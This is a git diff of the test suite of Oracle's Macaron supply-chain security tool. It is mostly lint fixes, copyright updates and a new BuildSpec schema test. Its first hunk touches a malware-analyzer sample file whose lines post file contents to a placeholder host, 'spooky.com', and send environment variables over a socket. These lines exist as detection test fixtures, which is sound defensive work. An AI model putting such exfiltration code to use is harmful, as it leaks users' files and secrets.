b/tests/malware_analyzer/pypi/resources/sourcecode_samples/exfiltration/remote_exfiltration.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """ @@ -41,10 +41,10 @@ def file_exfil_to_urllib3(): http = man().request http('POST', "spooky.com", body=oo.read(file, 2048)) - def environ_to_socket(): # nosemgrep - import socket as s # nosemsemgrep - from os import environ as environment_vars # nosemgrep - with s.socket(s.AF_INET, s.SOCK_STREAM) as soc: # nosemgrep - soc.connect(('localhost', 0)) # nosemgrep - other = soc # nosemgrep - other.send(environment_vars) # nosemgrep + def environ_to_socket(): # nosemgrep + import socket as s # nosemsemgrep + from os import environ as environment_vars # nosemgrep + with s.socket(s.AF_INET, s.SOCK_STREAM) as soc: # nosemgrep + soc.connect(('localhost', 0)) # nosemgrep + other = soc # nosemgrep + other.send(environment_vars) # nosemgrep diff --git a/tests/malware_analyzer/pypi/test_anomalous_version.py b/tests/malware_analyzer/pypi/test_anomalous_version.py index 45e533738..3c1e51407 100644 --- a/tests/malware_analyzer/pypi/test_anomalous_version.py +++ b/tests/malware_analyzer/pypi/test_anomalous_version.py @@ -1,7 +1,7 @@ # Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting anomalous version numbers""" +"""Tests for heuristic detecting anomalous version numbers.""" from unittest.mock import MagicMock @@ -13,7 +13,7 @@ def test_analyze_no_information(pypi_package_json: MagicMock) -> None: - """Test for when there is no release information, so error""" + """Test for when there is no release information, so error.""" analyzer = AnomalousVersionAnalyzer() pypi_package_json.get_releases.return_value = None diff --git a/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py b/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py index ecb774da8..49ae38ffb 100644 --- a/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py +++ b/tests/malware_analyzer/pypi/test_empty_project_link_analyzer.py @@ -1,7 +1,7 @@ # Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting malicious metadata from PyPI""" +"""Tests for heuristic detecting malicious metadata from PyPI.""" from unittest.mock import MagicMock diff --git a/tests/malware_analyzer/pypi/test_one_release_analyzer.py b/tests/malware_analyzer/pypi/test_one_release_analyzer.py index 78ce0fbf9..cc9daa037 100644 --- a/tests/malware_analyzer/pypi/test_one_release_analyzer.py +++ b/tests/malware_analyzer/pypi/test_one_release_analyzer.py @@ -1,7 +1,7 @@ # Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting malicious metadata from PyPI""" +"""Tests for heuristic detecting malicious metadata from PyPI.""" from unittest.mock import MagicMock diff --git a/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py b/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py index 11aa3c6f8..70a5ed4c0 100644 --- a/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py +++ b/tests/malware_analyzer/pypi/test_pypi_sourcecode_analyzer.py @@ -93,7 +93,7 @@ def test_nonexistent_rule_path(mock_defaults: MagicMock) -> None: @patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults") def test_invalid_custom_rules(mock_defaults: MagicMock, pypi_package_json: MagicMock) -> None: - """Test for when the provided file is not a valid semgrep rule, so error,""" + """Test for when the provided file is not a valid semgrep rule, so error.""" # Use this file as an invalid semgrep rule as it is most definitely not a semgrep rule, and does exist. defaults = { "custom_semgrep_rules_path": os.path.abspath(__file__), @@ -121,6 +121,7 @@ def test_invalid_custom_rules(mock_defaults: MagicMock, pypi_package_json: Magic [ pytest.param("obfuscation", "obfuscation.yaml", id="obfuscation"), pytest.param("exfiltration", "exfiltration.yaml", id="exfiltration"), + pytest.param("anti_analysis", "anti_analysis.yaml", id="anti_analysis"), ], ) def test_rules( @@ -153,7 +154,7 @@ def test_rules( @patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults") def test_custom_rules(mock_defaults: MagicMock, pypi_package_json: MagicMock) -> None: - """Test that custom rulesets are properly run and appear in output detections""" + """Test that custom rulesets are properly run and appear in output detections.""" sample_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "sourcecode_samples") custom_rule_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "custom_sample.yaml") expected_ids = get_rule_ids_list(custom_rule_path) @@ -211,7 +212,7 @@ def test_disabling_rulesets( list_keys: set[str], rulefile_path: str, ) -> None: - """Test that rulesets can be disabled""" + """Test that rulesets can be disabled.""" sample_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "sourcecode_samples") expected_ids = get_rule_ids_list(rulefile_path) @@ -243,7 +244,7 @@ def test_disabling_rulesets( @patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults") def test_unknown_ruleset_exclusions(mock_defaults: MagicMock) -> None: - """Test when there are ruleset names supplied to be disabled that don't exist""" + """Test when there are ruleset names supplied to be disabled that don't exist.""" defaults = { "disabled_custom_rulesets": "custom_sample\ndoes_not_exist", "custom_semgrep_rules_path": os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources"), @@ -265,7 +266,7 @@ def test_unknown_ruleset_exclusions(mock_defaults: MagicMock) -> None: @patch("macaron.malware_analyzer.pypi_heuristics.sourcecode.pypi_sourcecode_analyzer.defaults") def test_disabling_rules(mock_defaults: MagicMock, pypi_package_json: MagicMock) -> None: - """Test individual rules can be disabled""" + """Test individual rules can be disabled.""" sample_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "sourcecode_samples") custom_rule_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "resources", "custom_sample.yaml") expected_ids = {"custom_sample_1", "exfiltration_remote-exfiltration"} diff --git a/tests/malware_analyzer/pypi/test_source_code_repo.py b/tests/malware_analyzer/pypi/test_source_code_repo.py index 3cc9db15d..51ecd97c4 100644 --- a/tests/malware_analyzer/pypi/test_source_code_repo.py +++ b/tests/malware_analyzer/pypi/test_source_code_repo.py @@ -1,7 +1,7 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting malicious metadata from PyPI""" +"""Tests for heuristic detecting malicious metadata from PyPI.""" from unittest.mock import MagicMock diff --git a/tests/malware_analyzer/pypi/test_type_stub_file.py b/tests/malware_analyzer/pypi/test_type_stub_file.py index f22f65c8b..c1acfcf5a 100644 --- a/tests/malware_analyzer/pypi/test_type_stub_file.py +++ b/tests/malware_analyzer/pypi/test_type_stub_file.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Tests for the TypeStubFileAnalyzer heuristic.""" @@ -7,6 +7,7 @@ import pytest +from macaron.errors import SourceCodeError from macaron.malware_analyzer.pypi_heuristics.heuristics import HeuristicResult from macaron.malware_analyzer.pypi_heuristics.metadata.type_stub_file import TypeStubFileAnalyzer @@ -26,7 +27,7 @@ def test_analyze_sufficient_files_pass(analyzer: TypeStubFileAnalyzer, pypi_pack result, _ = analyzer.analyze(pypi_package_json) assert result == HeuristicResult.PASS - pypi_package_json.download_sourcecode.assert_called_once() + pypi_package_json.sourcecode.assert_called_once() def test_analyze_exactly_threshold_files_pass(analyzer: TypeStubFileAnalyzer, pypi_package_json: MagicMock) -> None: @@ -64,11 +65,11 @@ def test_analyze_no_files_fail(analyzer: TypeStubFileAnalyzer, pypi_package_json def test_analyze_download_failed_raises_error(analyzer: TypeStubFileAnalyzer, pypi_package_json: MagicMock) -> None: """Test the analyzer when source code download fails.""" - pypi_package_json.download_sourcecode.return_value = False - assert ( + pypi_package_json.sourcecode.side_effect = SourceCodeError("download failed") + assert analyzer.analyze(pypi_package_json) == ( HeuristicResult.SKIP, {"message": "No source code files have been downloaded.", "pyi_files": 0}, - ) == analyzer.analyze(pypi_package_json) + ) @pytest.mark.parametrize( diff --git a/tests/malware_analyzer/pypi/test_unchanged_release.py b/tests/malware_analyzer/pypi/test_unchanged_release.py index 0a04c4292..e3ff918c3 100644 --- a/tests/malware_analyzer/pypi/test_unchanged_release.py +++ b/tests/malware_analyzer/pypi/test_unchanged_release.py @@ -1,7 +1,7 @@ # Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting malicious metadata from PyPI""" +"""Tests for heuristic detecting malicious metadata from PyPI.""" from unittest.mock import MagicMock diff --git a/tests/malware_analyzer/pypi/test_wheel_absence.py b/tests/malware_analyzer/pypi/test_wheel_absence.py index 37716d3cc..ec2ca593d 100644 --- a/tests/malware_analyzer/pypi/test_wheel_absence.py +++ b/tests/malware_analyzer/pypi/test_wheel_absence.py @@ -1,7 +1,7 @@ # Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -"""Tests for heuristic detecting wheel (.whl) file absence from PyPI packages""" +"""Tests for heuristic detecting wheel (.whl) file absence from PyPI packages.""" from unittest.mock import MagicMock, patch @@ -14,7 +14,7 @@ def test_no_information(pypi_package_json: MagicMock) -> None: - """Test for when inspector links cannot be created, so error""" + """Test for when inspector links cannot be created, so error.""" analyzer = WheelAbsenceAnalyzer() pypi_package_json.get_inspector_src_preview_links.return_value = False @@ -24,7 +24,7 @@ def test_no_information(pypi_package_json: MagicMock) -> None: def test_no_wheel_links(pypi_package_json: MagicMock) -> None: - """Test for when no .whl files are present in the asset, so failed""" + """Test for when no .whl files are present in the asset, so failed.""" analyzer = WheelAbsenceAnalyzer() pypi_package_json.get_inspector_src_preview_links.return_value = True @@ -36,7 +36,7 @@ def test_no_wheel_links(pypi_package_json: MagicMock) -> None: def test_wheel_links(pypi_package_json: MagicMock) -> None: - """Test for when at least one .whl file is present in the asset, so pass""" + """Test for when at least one .whl file is present in the asset, so pass.""" analyzer = WheelAbsenceAnalyzer() link = "https://files.pythonhosted.org/packages/de/fa/2fbcebaeeb909511139ce28dac4a77ab2452ba72b49a22b12981b2f375b3/package.whl" @@ -53,7 +53,7 @@ def test_wheel_links(pypi_package_json: MagicMock) -> None: # If it is imported like this: from os import listdir; listdir() then you patch .listdir. @patch("macaron.slsa_analyzer.package_registry.pypi_registry.send_head_http_raw") def test_get_inspector_src_preview_links(mock_send_head_http_raw: MagicMock) -> None: - """Test to make sure the internal function used by this analyzer produces the correct output from JSON metadata""" + """Test to make sure the internal function used by this analyzer produces the correct output from JSON metadata.""" version = "0.1.0" package_name = "ttttttttest_nester" file_prefix = package_name + "-" + version diff --git a/tests/parsers/actionparser/test_actionparser.py b/tests/parsers/actionparser/test_actionparser.py index afc12d37a..3ee6a15bb 100644 --- a/tests/parsers/actionparser/test_actionparser.py +++ b/tests/parsers/actionparser/test_actionparser.py @@ -1,9 +1,7 @@ -# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module tests the GitHub Actions parser. -""" +"""This module tests the GitHub Actions parser.""" import os from pathlib import Path diff --git a/tests/parsers/bashparser/test_bashparser.py b/tests/parsers/bashparser/test_bashparser.py index a489330ac..be6c88181 100644 --- a/tests/parsers/bashparser/test_bashparser.py +++ b/tests/parsers/bashparser/test_bashparser.py @@ -1,9 +1,7 @@ # Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module tests the bash parser. -""" +"""This module tests the bash parser.""" import json import os diff --git a/tests/parsers/pomparser/test_pomparser.py b/tests/parsers/pomparser/test_pomparser.py index 4ccfe22d6..30a19d511 100644 --- a/tests/parsers/pomparser/test_pomparser.py +++ b/tests/parsers/pomparser/test_pomparser.py @@ -1,9 +1,7 @@ # Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module tests the POM parser. -""" +"""This module tests the POM parser.""" import os from pathlib import Path diff --git a/tests/policy_engine/test_policy.py b/tests/policy_engine/test_policy.py index b38346c22..0b01b3d39 100644 --- a/tests/policy_engine/test_policy.py +++ b/tests/policy_engine/test_policy.py @@ -1,10 +1,10 @@ -# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module tests the policies supported by the policy engine.""" import os -import subprocess # nosec B404 +import subprocess from pathlib import Path import pytest @@ -19,9 +19,8 @@ @pytest.fixture() def database_setup() -> None: """Prepare the database file.""" - if not os.path.exists(DATABASE_FILE): - if os.path.exists(DATABASE_FILE + ".gz"): - subprocess.run(["gunzip", "-k", DATABASE_FILE + ".gz"], check=True, shell=False) # nosec B603 B607 + if not os.path.exists(DATABASE_FILE) and os.path.exists(DATABASE_FILE + ".gz"): + subprocess.run(["gunzip", "-k", DATABASE_FILE + ".gz"], check=True, shell=False) # noqa: S603 S607 def test_dump_prelude(database_setup) -> None: # type: ignore # pylint: disable=unused-argument,redefined-outer-name diff --git a/tests/policy_engine/test_souffle.py b/tests/policy_engine/test_souffle.py index 3a927a867..696024909 100644 --- a/tests/policy_engine/test_souffle.py +++ b/tests/policy_engine/test_souffle.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Test the Souffle wrapper.""" @@ -29,7 +29,7 @@ def test_interpret_file() -> None: def test_interpret_text() -> None: - """Test basic call to interpreting a string literal""" + """Test basic call to interpreting a string literal.""" with SouffleWrapper(fact_dir=str(FACT_DIR)) as sfl: result = sfl.interpret_text(TEXT) assert result == {"path": [["1", "2"], ["1", "3"], ["2", "3"]]} diff --git a/tests/repo_finder/test_repo_finder.py b/tests/repo_finder/test_repo_finder.py index 25a917b3b..7a5ceefee 100644 --- a/tests/repo_finder/test_repo_finder.py +++ b/tests/repo_finder/test_repo_finder.py @@ -95,7 +95,6 @@ def test_pom_extraction_ordering(tmp_path: Path, test_config: str, expected: str """ [repofinder.java] artifact_repositories = -   """, RepoFinderInfo.NO_MAVEN_HOST_PROVIDED, ), @@ -103,7 +102,6 @@ def test_pom_extraction_ordering(tmp_path: Path, test_config: str, expected: str """ [repofinder.java] repo_pom_paths = -   """, RepoFinderInfo.NO_POM_TAGS_PROVIDED, ), diff --git a/tests/repo_finder/test_repo_finder_deps_dev.py b/tests/repo_finder/test_repo_finder_deps_dev.py index 10cb1a5e5..aead1f71f 100644 --- a/tests/repo_finder/test_repo_finder_deps_dev.py +++ b/tests/repo_finder/test_repo_finder_deps_dev.py @@ -65,7 +65,8 @@ def test_find_repo_success(httpserver: HTTPServer, deps_dev_service_mock: dict) ], ) def test_get_project_info_invalid_url( - deps_dev_service_mock: dict, repo_url: str # pylint: disable=unused-argument + deps_dev_service_mock: dict, # pylint: disable=unused-argument + repo_url: str, ) -> None: """Test get project info invalid url.""" assert not DepsDevRepoFinder().get_project_info(repo_url) diff --git a/tests/schema_validation/json_schema_validate.py b/tests/schema_validation/json_schema_validate.py index a95c5dc2a..5b3a0dee8 100644 --- a/tests/schema_validation/json_schema_validate.py +++ b/tests/schema_validation/json_schema_validate.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module validates the result JSON files against a JSON schema.""" @@ -13,7 +13,7 @@ def main(argv: Sequence[str] | None = None) -> int: """Run main logic.""" - if not argv or not len(argv) == 3: + if not argv or len(argv) != 3: print("Usage: python3 schema_validate.py ") return os.EX_USAGE diff --git a/tests/schema_validation/test_buildspec_schema_notes.py b/tests/schema_validation/test_buildspec_schema_notes.py new file mode 100644 index 000000000..8b2700c6a --- /dev/null +++ b/tests/schema_validation/test_buildspec_schema_notes.py @@ -0,0 +1,105 @@ +# Copyright (c) 2026 - 2026, Oracle and/or its affiliates. All rights reserved. +# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. + +"""Tests for keeping BuildSpec schema notes aligned with the JSON schema.""" + +import json +import os + +import jsonschema + +REPO_ROOT = os.path.dirname(os.path.dirname(os.path.dirname(__file__))) +BUILDSPEC_SCHEMA = os.path.join( + REPO_ROOT, + "src", + "macaron", + "resources", + "schemas", + "macaron_buildspec_schema.json", +) +BUILDSPEC_SCHEMA_NOTES = os.path.join( + REPO_ROOT, + "src", + "macaron", + "resources", + "schemas", + "macaron_buildspec_schema.md", +) +PYPI_TOGA_BUILDSPEC = os.path.join( + REPO_ROOT, + "tests", + "integration", + "cases", + "pypi_toga", + "expected_default.buildspec", +) +HUGEGRAPH_COMPUTER_K8S_BUILDSPEC = os.path.join( + REPO_ROOT, + "tests", + "integration", + "cases", + "org_apache_hugegraph", + "computer-k8s", + "expected_default.buildspec", +) + + +def test_buildspec_fixtures_match_schema() -> None: + """Use integration fixtures as concrete schema-conforming BuildSpec examples.""" + with open(BUILDSPEC_SCHEMA, encoding="utf-8") as file: + schema = json.load(file) + + for fixture in (PYPI_TOGA_BUILDSPEC, HUGEGRAPH_COMPUTER_K8S_BUILDSPEC): + with open(fixture, encoding="utf-8") as file: + buildspec = json.load(file) + jsonschema.validate(schema=schema, instance=buildspec) + + +def test_buildspec_schema_notes_document_schema_fields() -> None: + """Make sure the Markdown companion documents every schema field by name.""" + with open(BUILDSPEC_SCHEMA, encoding="utf-8") as file: + schema = json.load(file) + with open(BUILDSPEC_SCHEMA_NOTES, encoding="utf-8") as file: + notes = file.read() + + missing_top_level_fields = [field for field in schema["properties"] if f"`{field}`" not in notes] + assert not missing_top_level_fields + + build_command_fields = schema["properties"]["build_commands"]["items"]["properties"] + missing_build_command_fields = [field for field in build_command_fields if f"`{field}`" not in notes] + assert not missing_build_command_fields + + +def test_buildspec_schema_notes_cover_pypi_toga_fixture_fields() -> None: + """Keep the notes grounded in the PyPI fixture validated by the integration test.""" + with open(PYPI_TOGA_BUILDSPEC, encoding="utf-8") as file: + buildspec = json.load(file) + with open(BUILDSPEC_SCHEMA_NOTES, encoding="utf-8") as file: + notes = file.read() + + for field in buildspec: + assert f"`{field}`" in notes + + for field in buildspec["build_commands"][0]: + assert f"`{field}`" in notes + + assert "tests/integration/cases/pypi_toga/test.yaml" in notes + assert "python -m build" in notes + + +def test_buildspec_schema_notes_cover_hugegraph_computer_k8s_fixture_fields() -> None: + """Keep the notes grounded in the Maven fixture validated by the integration test.""" + with open(HUGEGRAPH_COMPUTER_K8S_BUILDSPEC, encoding="utf-8") as file: + buildspec = json.load(file) + with open(BUILDSPEC_SCHEMA_NOTES, encoding="utf-8") as file: + notes = file.read() + + for field in buildspec: + assert f"`{field}`" in notes + + for field in buildspec["build_commands"][0]: + assert f"`{field}`" in notes + + assert "tests/integration/cases/org_apache_hugegraph/computer-k8s/test.yaml" in notes + assert "pkg:maven/org.apache.hugegraph/computer-k8s@1.0.0" in notes + assert "computer-k8s/pom.xml" in notes diff --git a/tests/slsa_analyzer/checks/base_check/test_base_check.py b/tests/slsa_analyzer/checks/base_check/test_base_check.py index 9c6bb701d..5e8f67d04 100644 --- a/tests/slsa_analyzer/checks/base_check/test_base_check.py +++ b/tests/slsa_analyzer/checks/base_check/test_base_check.py @@ -16,7 +16,7 @@ class TestConfiguration(TestCase): # Disable flake8's D202 check: "No blank lines allowed after function docstring" def test_raise_implementation_error(self) -> None: - """Test raising errors if child class does not override abstract method(s).""" # noqa: D202 + """Test raising errors if child class does not override abstract method(s).""" # pylint: disable=abstract-method class ChildCheck(BaseCheck): diff --git a/tests/slsa_analyzer/checks/test_check_results.py b/tests/slsa_analyzer/checks/test_check_results.py index c90c81753..58257c61e 100644 --- a/tests/slsa_analyzer/checks/test_check_results.py +++ b/tests/slsa_analyzer/checks/test_check_results.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the tests for the check results.""" @@ -24,16 +24,16 @@ class MockFacts(CheckFacts): __tablename__ = "_test_check" #: The primary key. - id: Mapped[int] = mapped_column( # noqa: A003 # pylint: disable=E1136 + id: Mapped[int] = mapped_column( # pylint: disable=unsubscriptable-object ForeignKey("_check_facts.id"), primary_key=True ) #: The name of the tool used to build. - test_name: Mapped[str] = mapped_column( # pylint: disable=E1136 + test_name: Mapped[str] = mapped_column( # pylint: disable=unsubscriptable-object String, nullable=False, info={"justification": JustificationType.TEXT} ) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_test_check", } diff --git a/tests/slsa_analyzer/checks/test_github_actions_vulnerability_check.py b/tests/slsa_analyzer/checks/test_github_actions_vulnerability_check.py index a58ceaf2b..151ffb1e9 100644 --- a/tests/slsa_analyzer/checks/test_github_actions_vulnerability_check.py +++ b/tests/slsa_analyzer/checks/test_github_actions_vulnerability_check.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains tests for the GitHub Actions vulnerabilities check.""" @@ -58,6 +58,7 @@ def test_github_actions_vulns( httpserver: HTTPServer, tmp_path: Path, macaron_path: Path, + monkeypatch: pytest.MonkeyPatch, ci_name: str, ci_services: dict[str, BaseCIService], expected: str, @@ -96,6 +97,10 @@ def test_github_actions_vulns( httpserver.expect_request("/v1/query").respond_with_json(query_json) httpserver.expect_request("/v1/querybatch").respond_with_json(query_batch_json) + # Keep the test offline: resolving a mutable GitHub Action ref otherwise + # issues a live GitHub API request and can block on rate-limit backoff. + monkeypatch.setattr(ci_services["github_actions"].api_client, "get_commit_sha_from_ref", lambda *_: None) + ctx.dynamic_data["ci_services"] = [get_ci_info(ci_services, ci_name, gha_source_path)] assert check.run_check(ctx).result_type == expected diff --git a/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py b/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py index de1e7aae7..87402ad5c 100644 --- a/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py +++ b/tests/slsa_analyzer/checks/test_provenance_witness_l1_check.py @@ -1,11 +1,11 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Test the check ``provenance_witness_l1_check``.""" import pytest -from macaron.slsa_analyzer.checks.provenance_witness_l1_check import WitnessProvenanceException, verify_artifact_assets +from macaron.slsa_analyzer.checks.provenance_witness_l1_check import WitnessProvenanceError, verify_artifact_assets from macaron.slsa_analyzer.package_registry.jfrog_maven_registry import ( JFrogMavenAsset, JFrogMavenAssetMetadata, @@ -234,7 +234,7 @@ def test_non_product_witness_subject( non_product_subjects: list[InTotoV01Subject], ) -> None: """A subject that is not a file attested by the Witness product attestator should raise an exception.""" - with pytest.raises(WitnessProvenanceException): + with pytest.raises(WitnessProvenanceError): verify_artifact_assets( artifact_assets=artifact_assets, subjects=non_product_subjects, diff --git a/tests/slsa_analyzer/checks/test_registry.py b/tests/slsa_analyzer/checks/test_registry.py index 56ed654a1..bae19697f 100644 --- a/tests/slsa_analyzer/checks/test_registry.py +++ b/tests/slsa_analyzer/checks/test_registry.py @@ -20,7 +20,7 @@ class MockCheck(BaseCheck): - """BaseCheck with no-op impl for abstract method""" + """BaseCheck with no-op impl for abstract method.""" def run_check(self, ctx: AnalyzeContext) -> CheckResultData: return CheckResultData(result_tables=[], result_type=CheckResultType.UNKNOWN) @@ -88,9 +88,8 @@ def test_add_successfully(self) -> None: def test_exit_on_registering_undefined_check(self) -> None: """Test registering a check which Macaron cannot resolve its module.""" - with patch("inspect.getmodule", return_value=False): - with pytest.raises(SystemExit): - self.REGISTRY.register(MockCheck("mcn_undefined_check_1", "This check is an undefined Check.")) + with patch("inspect.getmodule", return_value=False), pytest.raises(SystemExit): + self.REGISTRY.register(MockCheck("mcn_undefined_check_1", "This check is an undefined Check.")) @given(one_of(none(), text(), integers(), tuples(), binary(), booleans())) def test_exit_on_invalid_check_relationship(self, relationship: SearchStrategy) -> None: @@ -162,7 +161,11 @@ def test_exit_on_invalid_eval_reqs(self, eval_reqs: SearchStrategy) -> None: def test_exit_on_invalid_status_on_skipped(self, status_on_skipped: SearchStrategy) -> None: """Test registering a check with invalid status_on_skipped instance variable.""" check = MockCheck( - "mcn_invalid_eval_reqs_1", "Invalid_status_on_skipped", [], [], status_on_skipped # type: ignore + "mcn_invalid_eval_reqs_1", + "Invalid_status_on_skipped", + [], + [], + status_on_skipped, # type: ignore ) with pytest.raises(SystemExit): self.REGISTRY.register(check) diff --git a/tests/slsa_analyzer/git_service/test_api_client.py b/tests/slsa_analyzer/git_service/test_api_client.py index 439b53cf9..770f9b65f 100644 --- a/tests/slsa_analyzer/git_service/test_api_client.py +++ b/tests/slsa_analyzer/git_service/test_api_client.py @@ -1,10 +1,9 @@ # Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module tests the GhAPIClient module -""" +"""This module tests the GhAPIClient module.""" +from typing import ClassVar from unittest import TestCase import pytest @@ -13,11 +12,9 @@ class TestGhAPIClient(TestCase): - """ - This test provide tests for the GhAPIClient class - """ + """This test provide tests for the GhAPIClient class.""" - mock_profile = { + mock_profile: ClassVar[dict] = { "headers": { "Authorization": "sample_token", "Accept": "application/vnd.github.v3+json", @@ -25,20 +22,16 @@ class TestGhAPIClient(TestCase): "query": ["java+language:java"], } - error_mock_profile = {"wrong_field": "Wrong data"} - - mock_query_list = ["java+language:java"] + error_mock_profile: ClassVar[dict] = {"wrong_field": "Wrong data"} def test_init(self) -> None: - """ - Test if the search client is initiated correctly. - """ + """Test if the search client is initiated correctly.""" client = GhAPIClient(self.mock_profile) assert client.headers == { "Authorization": "sample_token", "Accept": "application/vnd.github.v3+json", } - assert client.query_list == self.mock_query_list + assert client.query_list == ["java+language:java"] # Invalid profile with pytest.raises(KeyError): diff --git a/tests/slsa_analyzer/git_service/test_github.py b/tests/slsa_analyzer/git_service/test_github.py index 604b0a50c..87e1c1a3a 100644 --- a/tests/slsa_analyzer/git_service/test_github.py +++ b/tests/slsa_analyzer/git_service/test_github.py @@ -1,9 +1,7 @@ # Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module tests the GitHub git service. -""" +"""This module tests the GitHub git service.""" from macaron.slsa_analyzer.git_service import GitHub diff --git a/tests/slsa_analyzer/mock_git_utils.py b/tests/slsa_analyzer/mock_git_utils.py index 9aa879d45..5b6011998 100644 --- a/tests/slsa_analyzer/mock_git_utils.py +++ b/tests/slsa_analyzer/mock_git_utils.py @@ -1,9 +1,7 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. -""" -This module contains the methods for preparing mock git repositories for testing SLSA checks. -""" +"""This module contains the methods for preparing mock git repositories for testing SLSA checks.""" import os @@ -68,7 +66,7 @@ def commit_files(git_wrapper: Git, file_names: list) -> bool: # Store the index object as recommended by the documentation. current_index = git_wrapper.repo.index current_index.add(file_names) - current_index.commit(f"Add files: {str(file_names)}") + current_index.commit(f"Add files: {file_names!s}") return True except GitError: return False diff --git a/tests/slsa_analyzer/package_registry/test_deps_dev.py b/tests/slsa_analyzer/package_registry/test_deps_dev.py index 700e6ff91..057d8fed6 100644 --- a/tests/slsa_analyzer/package_registry/test_deps_dev.py +++ b/tests/slsa_analyzer/package_registry/test_deps_dev.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal 